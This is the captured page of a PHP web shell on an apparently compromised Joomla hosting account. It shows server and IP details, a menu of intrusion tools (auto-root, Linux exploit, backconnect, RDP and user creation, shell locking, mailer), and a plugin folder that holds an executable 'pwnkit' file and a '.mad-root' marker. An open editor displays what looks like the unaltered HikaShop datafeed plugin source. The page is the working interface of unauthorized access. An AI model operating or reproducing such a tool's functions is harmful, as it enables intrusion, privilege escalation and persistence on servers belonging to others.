Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
zenit /
plugins /
hikashop /
datafeed /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
datafeed.php
5.52
KB
-rw-r--r--
datafeed.xml
6.76
KB
-rw-r--r--
index.html
44
B
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : datafeed.php
<?php /** * @package HikaShop for Joomla! * @version 4.5.1 * @author hikashop.com * @copyright (C) 2010-2022 HIKARI SOFTWARE. All rights reserved. * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html */ defined('_JEXEC') or die('Restricted access'); ?><?php class plgHikashopDatafeed extends JPlugin { var $message = ''; function __construct(&$subject, $config) { parent::__construct($subject, $config); } function onHikashopCronTrigger(&$messages) { $pluginsClass = hikashop_get('class.plugins'); $plugin = $pluginsClass->getByName('hikashop', 'datafeed'); if(empty($plugin->params['frequency'])) { $plugin->params['frequency'] = 86400; } if(!empty($plugin->params['last_cron_update']) && ($plugin->params['last_cron_update'] + $plugin->params['frequency']) > time()) { return true; } if(empty($plugin->params['path'])) { $messages[] = 'No file path specified'; return true; } $path = $plugin->params['path']; $column = null; if(!empty($plugin->params['column_name'])) $column = $plugin->params['column_name']; $url = preg_match('#^(https?|s?ftp)://#', $path, $matches); $context = null; if(!$url) { $check = strtolower(substr($path, -3)); if($check != 'csv') { $messages[] = 'The file specified is not a CSV file: '.$path; return true; } $path = $this->_getRelativePath($path); jimport('joomla.filesystem.file'); if(!JFile::exists(JPATH_ROOT.DS.$path)) { $messages[] = 'Could not find the file '.JPATH_ROOT.DS.$path; return true; } $path = JURI::base() . $path; $path = str_replace('administrator', '', $path); $os = strtolower(substr(PHP_OS, 0, 3)); if($os == 'win') $path = str_replace('\\','/',$path); } $importHelper = hikashop_get('helper.import'); $tab = null; if(!empty($column)) { $tab = array(); $entries = explode(';', $column); $i = 0; foreach($entries as $entry) { $var = explode(':', $entry); $tab[$var[0]] = $var[1]; if(function_exists('mb_strtolower')) { $columnName = mb_strtolower(trim($var[0], '" ')); } else { $columnName = strtolower(trim($var[0], '" ')); } $tab[$columnName] = $var[1]; $i++; } } if(!empty($plugin->params['charset'])) $importHelper->charsetConvert = $plugin->params['charset']; if(!empty($plugin->params['fee'])) $importHelper->price_fee = (float)$plugin->params['fee']; $importHelper->columnNamesConversionTable = $tab; $importHelper->createCategories = true; $importHelper->overwrite = true; $importHelper->header_errors = false; $importHelper->store_files_locally = true; $importHelper->store_images_locally = true; if(isset($plugin->params['force_published']) && empty($plugin->params['force_published'])) $importHelper->force_published = false; if(empty($plugin->params['delete'])) $importHelper->keep_other_variants = true; if(isset($plugin->params['store_files_locally'])) $importHelper->store_files_locally = $plugin->params['store_files_locally']; if(isset($plugin->params['store_images_locally'])) $importHelper->store_images_locally = $plugin->params['store_images_locally']; $contentFile = file_get_contents($path, false, $context); if(empty($contentFile)) { $messages[] = 'Could not retrieve the CSV file '. $path; return true; } if(!$importHelper->handleContent($contentFile)) { return false; } $messages[] = 'Import of CSV file '. $path.' successful'; if(!empty($plugin->params['delete']) && !empty($importHelper->codes)) { $ids = array(); foreach($importHelper->codes as $product) { $ids[] = (int)@$product->product_id; } $query = 'SELECT product_id FROM '.hikashop_table('product').' WHERE product_id NOT IN ('.implode(',',$ids).') AND product_type = \'main\';'; $db = JFactory::getDBO(); $db->setQuery($query); $todelete = $db->loadColumn(); $messages[] = 'Deleting products no in the CSV file'; $productClass = hikashop_get('class.product'); $productClass->delete($todelete); } if(!$url && !empty($plugin->params['deletefile'])){ $messages[] = 'Deleting file '. $path.' after import'; unlink($path); } $plugin->params['last_cron_update']=time(); $pluginsClass->save($plugin); return true; } function writeToLog($data) { if($data === null) { $dbg = ob_get_clean(); } else { $dbg = $data; } if(!empty($dbg)) { $dbg = '-- ' . date('m.d.y H:i:s') . ' --' . "\r\n" . $dbg; $config = hikashop_config(); jimport('joomla.filesystem.file'); $file = $config->get('payment_log_file', ''); $file = rtrim(JPath::clean(html_entity_decode($file)), DS . ' '); if(!preg_match('#^([A-Z]:)?/.*#',$file)){ if(!$file[0] == '/' || !file_exists($file)) { $file = JPath::clean(HIKASHOP_ROOT . DS . trim($file, DS . ' ')); } } if(!empty($file) && defined('FILE_APPEND')) { if(!file_exists(dirname($file))) { jimport('joomla.filesystem.folder'); JFolder::create(dirname($file)); } file_put_contents($file, $dbg, FILE_APPEND); } } if($data === null) { ob_start(); } } function _getRelativePath($path) { $pathClean = null; if(!preg_match('#^([A-Z]:)?/.*#',$path) && ($path[0] != '/' || !is_file($path))) { $pathClean = JPath::clean(HIKASHOP_ROOT.DS.trim($path, DS.' ')); } if(!empty($pathClean)) return str_replace(JPATH_ROOT.DS, '', $pathClean); return str_replace(JPATH_ROOT.DS, '', $path); } }
Close